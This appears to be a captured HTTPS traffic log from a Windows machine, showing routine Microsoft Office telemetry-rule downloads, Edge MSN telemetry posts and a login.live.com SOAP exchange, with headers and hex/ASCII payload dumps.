2024-11-20 20:05:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200558Z-178bfbc474bscnbchC1NYCe7eg00000000m000000000knkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:58 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:58 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c9b33041-e01e-0033-176b-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200558Z-185f5d8b95cqnkdjhC1NYCm8w80000000aeg000000016zn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:59 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:58 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200559Z-1777c6cb754xlpjshC1TEBv8cc0000000a7000000000csk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:58 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:59 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:59 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6a968014-801e-0015-537c-3bf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200559Z-178bfbc474bkvpdnhC1NYCuu2w00000000fg000000002y30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:59 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49892	104.46.162.227	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:59 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138125574&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11624 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 20:05:59 UTC	11624	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 31 3a 32 38 3a 34 35 2e 35 37 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 31 62 62 32 39 66 62 2d 39 61 31 63 2d 34 38 66 39 2d 61 33 63 66 2d 62 39 62 66 61 34 62 36 34 65 35 36 22 2c 22 65 70 6f 63 68 22 3a 22 33 31 38 36 38 32 33 35 36 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T21:28:45.572Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"71bb29fb-9a1c-48f9-a3cf-b9bfa4b64e56","epoch":"3186823565"},"app":{"locale
2024-11-20 20:05:59 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e2bbdeeedcca4b09bec168091261ea74&HASH=e2bb&LV=202411&V=4&LU=1732133159313; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 20:05:59 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d8e05445dc054ca9bc56968be5d9ded2; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 20:35:59 GMT; Path=/;Secure; SameSite=None time-delta-millis: -4966261 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 20:05:59 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	49896	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 20:05:59 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 20:06:00 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 20:05:00 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C557_BAY x-ms-request-id: 533324d6-1efc-4c77-a507-0b6c507f8751 PPServer: PPV: 30 H: PH1PEPF00011FF4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 20:06:00 GMT Connection: close Content-Length: 11389
2024-11-20 20:06:00 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	49895	104.46.162.227	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:59 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138125592&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 33316 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 20:05:59 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 31 3a 32 38 3a 34 35 2e 35 39 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 31 62 62 32 39 66 62 2d 39 61 31 63 2d 34 38 66 39 2d 61 33 63 66 2d 62 39 62 66 61 34 62 36 34 65 35 36 22 2c 22 65 70 6f 63 68 22 3a 22 33 31 38 36 38 32 33 35 36 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T21:28:45.590Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"71bb29fb-9a1c-48f9-a3cf-b9bfa4b64e56","epoch":"3186823565"},"app":{"locale
2024-11-20 20:05:59 UTC	16384	OUT	Data Raw: 69 73 41 64 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 69 73 41 75 74 6f 52 65 66 72 65 73 68 22 3a 66 61 6c 73 65 2c 22 69 73 4a 53 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 69 73 53 74 61 74 69 63 22 3a 66 61 6c 73 65 2c 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 6f 63 69 64 22 3a 22 6d 73 65 64 67 64 68 70 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 65 64 67 65 2f 6e 74 70 3f 6c 6f 63 61 6c 65 3d 65 6e 2d 47 42 26 74 69 74 6c 65 3d 4e 65 77 25 32 30 74 61 62 26 64 73 70 3d 31 26 73 70 3d 42 69 6e 67 26 69 73 46 52 45 4d 6f 64 61 6c 42 61 63 6b 67 72 6f 75 6e 64 3d 31 26 73 74 61 72 74 70 61 67 Data Ascii: isAdEnabled":false,"isAutoRefresh":false,"isJSEnabled":true,"isStatic":false,"name":"default","ocid":"msedgdhp","product":"anaheim","type":"dhp","url":"https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpag
2024-11-20 20:05:59 UTC	548	OUT	Data Raw: 61 6e 73 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 5b 31 34 37 34 30 2c 33 33 34 39 5d 7d 7d 2c 22 5b 63 64 6e 5d 2f 73 74 61 74 69 63 73 62 2f 73 74 61 74 69 63 73 2f 6c 61 74 65 73 74 2f 62 72 61 6e 64 2f 6e 65 77 2d 6d 73 6e 2d 6c 6f 67 6f 2d 63 6f 6c 6f 72 2d 77 68 69 74 65 2e 73 76 67 22 3a 7b 22 74 79 70 65 22 3a 22 6f 22 2c 22 73 70 61 6e 73 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 5b 31 35 32 38 37 2c 33 36 37 5d 7d 2c 22 64 75 72 61 74 69 6f 6e 73 22 3a 7b 22 63 6f 6e 6e 65 63 74 22 3a 34 2e 31 2c 22 72 65 71 75 65 73 74 22 3a 33 36 33 2c 22 63 64 6e 54 43 50 22 3a 33 34 32 2c 22 63 64 6e 53 65 6c 66 22 3a 30 2c 22 63 64 6e 4f 72 69 67 69 6e 22 3a 30 7d 2c 22 73 63 61 6c 61 72 73 22 3a 7b 22 73 69 7a 65 22 3a 32 30 36 37 2c 22 63 61 63 68 65 22 3a 30 Data Ascii: ans":{"network":[14740,3349]}},"[cdn]/staticsb/statics/latest/brand/new-msn-logo-color-white.svg":{"type":"o","spans":{"network":[15287,367]},"durations":{"connect":4.1,"request":363,"cdnTCP":342,"cdnSelf":0,"cdnOrigin":0},"scalars":{"size":2067,"cache":0
2024-11-20 20:06:00 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=193c75a72911412393e8c07e6cab46fd&HASH=193c&LV=202411&V=4&LU=1732133160253; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 20:06:00 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=91f0cb40ac3242668a981544c49aa1a4; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 20:36:00 GMT; Path=/;Secure; SameSite=None time-delta-millis: -4965339 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 20:06:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	49897	104.46.162.227	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:00 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732138126588&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9356 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=27F5C03F1FAA650B38E3D5021EB364FD; _EDGE_S=F=1&SID=18C13228E167604F108E2715E0526145; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 20:06:00 UTC	9356	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 32 31 3a 32 38 3a 34 36 2e 35 38 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 31 62 62 32 39 66 62 2d 39 61 31 63 2d 34 38 66 39 2d 61 33 63 66 2d 62 39 62 66 61 34 62 36 34 65 35 36 22 2c 22 65 70 6f 63 68 22 3a 22 33 31 38 36 38 32 33 35 36 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-20T21:28:46.587Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"71bb29fb-9a1c-48f9-a3cf-b9bfa4b64e56","epoch":"3186823565"},"app":{"loc
2024-11-20 20:06:00 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=667570a39b5b4a618c7d551ae77a8cac&HASH=6675&LV=202411&V=4&LU=1732133160420; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 20:06:00 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f2df02f977f54d24839caab0f4a2f9b4; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 20:36:00 GMT; Path=/;Secure; SameSite=None time-delta-millis: -4966168 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 20:06:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49898	104.46.162.227	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
